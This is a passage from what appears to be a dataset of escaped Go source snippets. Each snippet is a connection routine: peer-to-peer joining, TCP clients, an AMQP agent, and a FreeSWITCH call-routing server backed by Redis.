context.Context, peer p2p.Peer, _ bool) error {\\n\\tm.mtx.Lock()\\n\\tm.peers = append(m.peers, peer.Address)\\n\\tm.mtx.Unlock()\\n\\tm.Trigger()\\n\\treturn nil\\n}\",\n \"func (n *Node) connect(entryPoint *peer.Peer) *NodeErr {\\n\\t// Create the request using a connection message.\\n\\tmsg := new(message.Message).SetType(message.ConnectType).SetFrom(n.Self)\\n\\treq, err := composeRequest(msg, entryPoint)\\n\\tif err != nil {\\n\\t\\treturn ParseErr(\\\"error encoding message to request\\\", err)\\n\\t}\\n\\n\\t// Try to join into the network through the provided peer\\n\\tres, err := n.client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn ConnErr(\\\"error trying to connect to a peer\\\", err)\\n\\t}\\n\\n\\tif code := res.StatusCode; code != http.StatusOK {\\n\\t\\terr := fmt.Errorf(\\\"%d http status received from %s\\\", code, entryPoint)\\n\\t\\treturn ConnErr(\\\"error making the request to a peer\\\", err)\\n\\t}\\n\\n\\t// Reading the list of current members of the network from the peer\\n\\t// response.\\n\\tbody, err := io.ReadAll(res.Body)\\n\\tif err != nil {\\n\\t\\treturn ParseErr(\\\"error reading peer response body\\\", err)\\n\\t}\\n\\tres.Body.Close()\\n\\n\\t// Parsing the received list\\n\\treceivedMembers := peer.NewMembers()\\n\\tif receivedMembers, err = receivedMembers.FromJSON(body); err != nil {\\n\\t\\treturn ParseErr(\\\"error parsing incoming member list\\\", err)\\n\\t}\\n\\n\\t// Update current members and send a connection request to all of them,\\n\\t// discarting the response received (the list of current members).\\n\\tfor _, member := range receivedMembers.Peers() {\\n\\t\\t// If a received peer is not the same that contains the current node try\\n\\t\\t// to connect directly.\\n\\t\\tif !n.Self.Equal(member) {\\n\\t\\t\\tif req, err := composeRequest(msg, member); err != nil {\\n\\t\\t\\t\\treturn ParseErr(\\\"error decoding request to message\\\", err)\\n\\t\\t\\t} else if _, err := n.client.Do(req); err != nil {\\n\\t\\t\\t\\treturn ConnErr(\\\"error trying to perform the request\\\", err)\\n\\t\\t\\t}\\n\\t\\t\\tn.Members.Append(member)\\n\\t\\t}\\n\\t}\\n\\n\\t// Set node status as connected.\\n\\tn.setConnected(true)\\n\\t// Append the entrypoint to the current members.\\n\\tn.Members.Append(entryPoint)\\n\\treturn nil\\n}\",\n \"func (client *Client) Connect() {\\n\\t/*\\tgo func() {\\n\\t\\tfor {*/\\n\\tstart := time.Now()\\n\\tconn, err := net.Dial(\\\"tcp\\\", client.address)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\t// Ask server for an id\\n\\tname := fake.FullName()\\n\\t_, _ = fmt.Fprintf(conn, \\\"new \\\"+name)\\n\\tid := make([]byte, 2)\\n\\t_, err = conn.Read(id)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tclient.player = name\\n\\tclient.id, _ = strconv.Atoi(string(string(id)[0]))\\n\\tfmt.Printf(\\\"We are in da place as '%s' '%s'\\\\n\\\", name, client.id)\\n\\t_ = conn.Close()\\n\\tfmt.Printf(\\\"ping %d\\\", time.Now().Sub(start).Milliseconds())\\n\\t/*\\t\\t}\\n\\t}()*/\\n}\",\n \"func (a *agent) connect() error {\\n\\terr := backoff.Retry(func() error {\\n\\t\\tif a.amqpURL == \\\"\\\" {\\n\\t\\t\\treturn fmt.Errorf(\\\"no mq URL\\\")\\n\\t\\t}\\n\\t\\tparts := strings.Split(a.amqpURL, \\\"@\\\")\\n\\t\\thostport := parts[len(parts)-1]\\n\\n\\t\\ta.logger.InfoF(\\\"dialing %q\\\", hostport)\\n\\t\\tconn, err := amqp.Dial(a.amqpURL)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.Wrapf(err, \\\"dialing %q\\\", hostport)\\n\\t\\t}\\n\\t\\t// Set connection to agent for reference\\n\\t\\ta.mu.Lock()\\n\\t\\ta.conn = conn\\n\\t\\ta.mu.Unlock()\\n\\n\\t\\tif err := a.openChannel(); err != nil {\\n\\t\\t\\treturn errors.Wrapf(err, \\\"openChannel\\\")\\n\\t\\t}\\n\\n\\t\\tif err := a.runWorker(); err != nil {\\n\\t\\t\\treturn errors.Wrapf(err, \\\"startWorkers\\\")\\n\\t\\t}\\n\\n\\t\\ta.wg.Add(1)\\n\\t\\tgo func() {\\n\\t\\t\\tdefer a.wg.Done()\\n\\t\\t\\ta.waitChannel()\\n\\t\\t}()\\n\\t\\ta.logger.InfoF(\\\"connected %q\\\", hostport)\\n\\t\\treturn nil\\n\\t}, backoff.WithContext(a.connBackOff, a.ctx))\\n\\tif err != nil {\\n\\t\\ta.logger.ErrorF(\\\"connect failed: %q\\\", err.Error())\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func handle(s *OutboundServer) {\\n\\n\\tclient, err := Dial(&DialConfig{Address: fmt.Sprintf(\\\"%s:%d\\\", cfg.Redis.Ip, cfg.Redis.Port)})\\n\\n\\tif err != nil {\\n\\n\\t\\tError(\\\"Error occur in connecting redis\\\", err)\\n\\t\\treturn\\n\\n\\t}\\n\\n\\tfor {\\n\\n\\t\\tselect {\\n\\n\\t\\tcase conn := <-s.Conns:\\n\\t\\t\\tNotice(\\\"New incomming connection: %v\\\", conn)\\n\\n\\t\\t\\tif err := conn.Connect(); err != nil {\\n\\t\\t\\t\\tError(\\\"Got error while accepting connection: %s\\\", err)\\n\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\n\\t\\t\\tmsg, err := conn.ReadMessage()\\n\\n\\t\\t\\tif err == nil && msg != nil {\\n\\n\\t\\t\\t\\t//conn.Send(\\\"myevents\\\")\\n\\t\\t\\t\\tDebug(\\\"Connect message %s\\\", msg.Headers)\\n\\n\\t\\t\\t\\tuniqueID := msg.GetCallUUID()\\n\\t\\t\\t\\tfrom := msg.GetHeader(\\\"Caller-Caller-Id-Number\\\")\\n\\t\\t\\t\\tto := msg.GetHeader(\\\"Caller-Destination-Number\\\")\\n\\t\\t\\t\\tdirection := msg.GetHeader(\\\"Call-Direction\\\")\\n\\t\\t\\t\\tchannelStatus := msg.GetHeader(\\\"Answer-State\\\")\\n\\t\\t\\t\\toriginateSession := msg.GetHeader(\\\"Variable_originate_session_uuid\\\")\\n\\t\\t\\t\\tcompany := msg.GetHeader(\\\"Variable_company\\\")\\n\\t\\t\\t\\ttenant := msg.GetHeader(\\\"Variable_tenant\\\")\\n\\t\\t\\t\\tskill := msg.GetHeader(\\\"Variable_skill\\\")\\n\\t\\t\\t\\tfsUUID := msg.GetHeader(\\\"Core-Uuid\\\")\\n\\t\\t\\t\\tfsHost := msg.GetHeader(\\\"Freeswitch-Hostname\\\")\\n\\t\\t\\t\\tfsName := msg.GetHeader(\\\"Freeswitch-Switchname\\\")\\n\\t\\t\\t\\tfsIP := msg.GetHeader(\\\"Freeswitch-Ipv4\\\")\\n\\t\\t\\t\\tcallerContext := msg.GetHeader(\\\"Caller-Context\\\")\\n\\n\\t\\t\\t\\t//conn.Send(fmt.Sprintf(\\\"myevent json %s\\\", uniqueID))\\n\\n\\t\\t\\t\\tif len(originateSession) == 0 {\\n\\n\\t\\t\\t\\t\\tDebug(\\\"New Session created ---> %s\\\", uniqueID)\\n\\n\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tDebug(from)\\n\\t\\t\\t\\tDebug(to)\\n\\t\\t\\t\\tDebug(direction)\\n\\t\\t\\t\\tDebug(channelStatus)\\n\\t\\t\\t\\tDebug(fsUUID)\\n\\t\\t\\t\\tDebug(fsHost)\\n\\t\\t\\t\\tDebug(fsName)\\n\\t\\t\\t\\tDebug(fsIP)\\n\\t\\t\\t\\tDebug(originateSession)\\n\\t\\t\\t\\tDebug(callerContext)\\n\\t\\t\\t\\tDebug(company)\\n\\t\\t\\t\\tDebug(tenant)\\n\\t\\t\\t\\tDebug(skill)\\n\\n\\t\\t\\t\\tcomapnyi, _ := strconv.Atoi(company)\\n\\t\\t\\t\\ttenanti, _ := strconv.Atoi(tenant)\\n\\n\\t\\t\\t\\tif direction == \\\"outbound\\\" {\\n\\t\\t\\t\\t\\tDebug(\\\"OutBound Call recived ---->\\\")\\n\\n\\t\\t\\t\\t\\t//if channelStatus != \\\"answered\\\" {\\n\\t\\t\\t\\t\\t////////////////////////////////////////////////////////////\\n\\t\\t\\t\\t\\tif len(originateSession) > 0 {\\n\\n\\t\\t\\t\\t\\t\\tDebug(\\\"Original session found %s\\\", originateSession)\\n\\n\\t\\t\\t\\t\\t\\tvar isStored = true\\n\\t\\t\\t\\t\\t\\tpartykey := fmt.Sprintf(\\\"ARDS:Leg:%s\\\", uniqueID)\\n\\t\\t\\t\\t\\t\\tkey := fmt.Sprintf(\\\"ARDS:Session:%s\\\", originateSession)\\n\\n\\t\\t\\t\\t\\t\\texsists, exsisterr := client.Exists(key)\\n\\t\\t\\t\\t\\t\\tagentStatusRaw, _ := client.HGet(key, \\\"AgentStatus\\\")\\n\\t\\t\\t\\t\\t\\tagentstatus := string(agentStatusRaw[:])\\n\\n\\t\\t\\t\\t\\t\\tDebug(\\\"Client exsists ----------------------->%s\\\", agentstatus)\\n\\t\\t\\t\\t\\t\\tif exsisterr == nil && exsists == true && agentstatus == \\\"NotFound\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\tredisErr := client.SimpleSet(partykey, originateSession)\\n\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Store Data : %s \\\", redisErr)\\n\\t\\t\\t\\t\\t\\t\\tisStored, redisErr = client.HSet(key, \\\"AgentStatus\\\", \\\"AgentFound\\\")\\n\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Store Data : %s %s\\\", isStored, redisErr)\\n\\t\\t\\t\\t\\t\\t\\tisStored, redisErr = client.HSet(key, \\\"AgentUUID\\\", uniqueID)\\n\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Store Data : %s %s\\\", isStored, redisErr)\\n\\t\\t\\t\\t\\t\\t\\t//msg, err = conn.Execute(\\\"wait_for_answer\\\", \\\"\\\", true)\\n\\t\\t\\t\\t\\t\\t\\t//Debug(\\\"wait for answer ----> %s\\\", msg)\\n\\t\\t\\t\\t\\t\\t\\t//msg, err = conn.ExecuteSet(\\\"CHANNEL_CONNECTION\\\", \\\"true\\\", false)\\n\\t\\t\\t\\t\\t\\t\\t//Debug(\\\"Set variable ----> %s\\\", msg)\\n\\n\\t\\t\\t\\t\\t\\t\\tif channelStatus == \\\"answered\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\texsists, exsisterr := client.Exists(key)\\n\\t\\t\\t\\t\\t\\t\\t\\tif exsisterr == nil && exsists == true {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclient.HSet(key, \\\"AgentStatus\\\", \\\"AgentConnected\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tcmd := fmt.Sprintf(\\\"uuid_bridge %s %s\\\", originateSession, uniqueID)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(cmd)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tconn.BgApi(cmd)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t/////////////////////Remove///////////////////////\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tRemoveRequest(comapnyi, tenanti, originateSession)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tRejectRequest(comapnyi, tenanti, originateSession, \\\"NoSession\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tconn.ExecuteHangup(uniqueID, \\\"\\\", false)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\tconn.Send(\\\"myevents json\\\")\\n\\t\\t\\t\\t\\t\\t\\tgo func() {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\tfor {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tmsg, err := conn.ReadMessage()\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif err != nil {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// If it contains EOF, we really dont care...\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif !strings.Contains(err.Error(), \\\"EOF\\\") {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tError(\\\"Error while reading Freeswitch message: %s\\\", err)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif msg != nil {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tuuid := msg.GetHeader(\\\"Unique-ID\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(uuid)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tcontentType := msg.GetHeader(\\\"Content-Type\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tevent := msg.GetHeader(\\\"Event-Name\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Content types -------------------->\\\", contentType)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif contentType == \\\"text/disconnect-notice\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//key := fmt.Sprintf(\\\"ARDS:Session:%s\\\", uniqueID)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif event == \\\"CHANNEL_ANSWER\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tfmt.Printf(\\\"%s\\\", event)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\texsists, exsisterr := client.Exists(key)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif exsisterr == nil && exsists == true {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclient.HSet(key, \\\"AgentStatus\\\", \\\"AgentConnected\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tcmd := fmt.Sprintf(\\\"uuid_bridge %s %s\\\", originateSession, uniqueID)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(cmd)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tconn.BgApi(cmd)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t/////////////////////Remove///////////////////////\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tRemoveRequest(comapnyi, tenanti, originateSession)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tRejectRequest(comapnyi, tenanti, originateSession, \\\"NoSession\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tconn.ExecuteHangup(uniqueID, \\\"\\\", false)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t} else if event == \\\"CHANNEL_HANGUP\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvalue1, getErr1 := client.HGet(key, \\\"AgentStatus\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tagentstatus := string(value1[:])\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif getErr1 == nil {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif agentstatus != \\\"AgentConnected\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif agentstatus == \\\"AgentKilling\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//////////////////////////////Reject//////////////////////////////////////////////\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//http://localhost:2225/request/remove/company/tenant/sessionid\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tRejectRequest(comapnyi, tenanti, originateSession, \\\"AgentRejected\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Store Data : %s \\\", redisErr)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tval, _ := client.HExists(key, \\\"AgentStatus\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif val == true {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tisStored, redisErr = client.HSet(key, \\\"AgentStatus\\\", \\\"NotFound\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Store Data : %s %s \\\", redisErr, isStored)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Got message: %s\\\", msg)\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Leaving go routing after everithing completed OutBound %s %s\\\", key, partykey)\\n\\t\\t\\t\\t\\t\\t\\t\\t//client.Del(key)\\n\\t\\t\\t\\t\\t\\t\\t\\tclient.Del(partykey)\\n\\t\\t\\t\\t\\t\\t\\t}()\\n\\n\\t\\t\\t\\t\\t\\t\\t//}\\n\\t\\t\\t\\t\\t\\t\\t/////////////////////////////////////////////////////////////\\n\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t\\t\\tRejectRequest(1, 3, originateSession, \\\"NoSession\\\")\\n\\n\\t\\t\\t\\t\\t\\tcmd := fmt.Sprintf(\\\"uuid_kill %s \\\", uniqueID)\\n\\t\\t\\t\\t\\t\\tDebug(cmd)\\n\\t\\t\\t\\t\\t\\tconn.BgApi(cmd)\\n\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t\\tanswer, err := conn.ExecuteAnswer(\\\"\\\", false)\\n\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\tError(\\\"Got error while executing answer: %s\\\", err)\\n\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tDebug(\\\"Answer Message: %s\\\", answer)\\n\\t\\t\\t\\t\\tDebug(\\\"Caller UUID: %s\\\", uniqueID)\\n\\n\\t\\t\\t\\t\\t//////////////////////////////////////////Add to queue//////////////////////////////////////\\n\\t\\t\\t\\t\\tskills := []string{skill}\\n\\t\\t\\t\\t\\tAddRequest(comapnyi, tenanti, uniqueID, skills)\\n\\n\\t\\t\\t\\t\\t///////////////////////////////////////////////////////////////////////////////////////////\\n\\n\\t\\t\\t\\t\\tkey := fmt.Sprintf(\\\"ARDS:Session:%s\\\", uniqueID)\\n\\n\\t\\t\\t\\t\\tpartykey := fmt.Sprintf(\\\"ARDS:Leg:%s\\\", uniqueID)\\n\\t\\t\\t\\t\\tvar isStored = true\\n\\t\\t\\t\\t\\tDebug(\\\"key ---> %s \\\", partykey)\\n\\t\\t\\t\\t\\tredisErr := client.SimpleSet(partykey, uniqueID)\\n\\t\\t\\t\\t\\tDebug(\\\"Store Data : %s \\\", redisErr)\\n\\n\\t\\t\\t\\t\\tDebug(\\\"key ---> %s \\\", key)\\n\\t\\t\\t\\t\\tisStored, redisErr = client.HSet(key, \\\"CallStatus\\\", \\\"CallOnQueue\\\")\\n\\t\\t\\t\\t\\tDebug(\\\"Store Data : %s \\\", redisErr)\\n\\t\\t\\t\\t\\tisStored, redisErr = client.HSet(key, \\\"AgentStatus\\\", \\\"NotFound\\\")\\n\\n\\t\\t\\t\\t\\tDebug(\\\"Store Data : %s %s \\\", redisErr, isStored)\\n\\n\\t\\t\\t\\t\\tconn.Send(\\\"myevents json\\\")\\n\\t\\t\\t\\t\\tconn.Send(\\\"linger\\\")\\n\\t\\t\\t\\t\\tif sm, err := conn.Execute(\\\"playback\\\", \\\"local_stream://moh\\\", false); err != nil {\\n\\t\\t\\t\\t\\t\\tError(\\\"Got error while executing speak: %s\\\", err)\\n\\n\\t\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t\\t\\tDebug(\\\"Playback reply %s\\\", sm)\\n\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tDebug(\\\"Leaving go routing after everithing completed Inbound\\\")\\n\\n\\t\\t\\t\\t\\t/////////////////////////////////////////////////////////////////////////////////////////////////\\n\\n\\t\\t\\t\\t\\tgo func() {\\n\\n\\t\\t\\t\\t\\t\\tfor {\\n\\t\\t\\t\\t\\t\\t\\tmsg, err := conn.ReadMessage()\\n\\n\\t\\t\\t\\t\\t\\t\\tif err != nil {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t// If it contains EOF, we really dont care...\\n\\t\\t\\t\\t\\t\\t\\t\\tif !strings.Contains(err.Error(), \\\"EOF\\\") {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tError(\\\"Error while reading Freeswitch message: %s\\\", err)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\t\\tbreak\\n\\n\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\tif msg != nil {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tuuid := msg.GetHeader(\\\"Unique-ID\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(uuid)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tcontentType := msg.GetHeader(\\\"Content-Type\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tevent := msg.GetHeader(\\\"Event-Name\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tapplication := msg.GetHeader(\\\"variable_current_application\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Content types -------------------->\\\", contentType)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t//response := msg.GetHeader(\\\"variable_current_application_response\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif contentType == \\\"text/disconnect-notice\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//key := fmt.Sprintf(\\\"ARDS:Session:%s\\\", uniqueID)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Event -------------------->\\\", event)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif event == \\\"CHANNEL_EXECUTE_COMPLETE\\\" && application == \\\"playback\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvalue1, getErr1 := client.HGet(key, \\\"AgentStatus\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tsValue1 := string(value1[:])\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvalue2, getErr2 := client.HGet(key, \\\"AgentUUID\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tsValue2 := string(value2[:])\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Client side connection values %s %s %s %s\\\", getErr1, getErr2, sValue1, sValue2)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif getErr1 == nil && getErr2 == nil && sValue1 == \\\"AgentConnected\\\" && len(sValue2) > 0 {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t} else if event == \\\"CHANNEL_HANGUP\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvalue1, getErr1 := client.HGet(key, \\\"AgentStatus\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tagentstatus := string(value1[:])\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvalue2, _ := client.HGet(key, \\\"AgentUUID\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tsValue2 := string(value2[:])\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif getErr1 == nil {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif agentstatus != \\\"AgentConnected\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//////////////////////////////Remove//////////////////////////////////////////////\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif agentstatus == \\\"AgentFound\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclient.HSet(key, \\\"AgentStatus\\\", \\\"AgentKilling\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tcmd := fmt.Sprintf(\\\"uuid_kill %s \\\", sValue2)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(cmd)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tconn.Api(cmd)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tRejectRequest(comapnyi, tenanti, uniqueID, \\\"ClientRejected\\\")\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tRemoveRequest(comapnyi, tenanti, uniqueID)\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclient.Del(key)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclient.Del(partykey)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tconn.Exit()\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t} else if event == \\\"CHANNEL_HANGUP_COMPLETED\\\" {\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tconn.Close()\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t//Debug(\\\"Got message: %s\\\", msg)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tDebug(\\\"Leaving go routing after everithing completed Inbound %s %s\\\", key, partykey)\\n\\t\\t\\t\\t\\t\\tclient.Del(key)\\n\\t\\t\\t\\t\\t\\tclient.Del(partykey)\\n\\t\\t\\t\\t\\t}()\\n\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t} else {\\n\\n\\t\\t\\t\\tError(\\\"Got Error %s\\\", err)\\n\\t\\t\\t\\tconn.Exit()\\n\\t\\t\\t}\\n\\n\\t\\tdefault:\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"func (c *connection) Connect(ip string, port int) (int, error) {\\n\\tvar err error\\n\\tvar tempConn net.Conn\\n\\ttempConn, err = net.DialTimeout(\\\"tcp\\\", fmt.Sprint(ip, \\\":\\\", port), time.Second*5)\\n\\tfor err != nil {\\n\\t\\ttempConn, err = net.DialTimeout(\\\"tcp\\\", fmt.Sprint(ip, \\\":\\\", port), time.Second*5)\\n\\t}\\n\\tconn := tempConn.(*net.TCPConn)\\n\\tif err != nil {\\n\\t\\tpanic(\\\"Couldnt dial the host: \\\" + err.Error())\\n\\t}\\n\\n\\twrite(conn, []byte{0, 0, byte(c.myPort / 256), byte(c.myPort % 256)})\\n\\t//conn.SetReadDeadline(time.Now().Add(time.Second*5))\\n\\n\\tmsg := read(conn)\\n\\tc.myId = int(msg[0])\\n\\tc.addPeer(c.myId, nil, 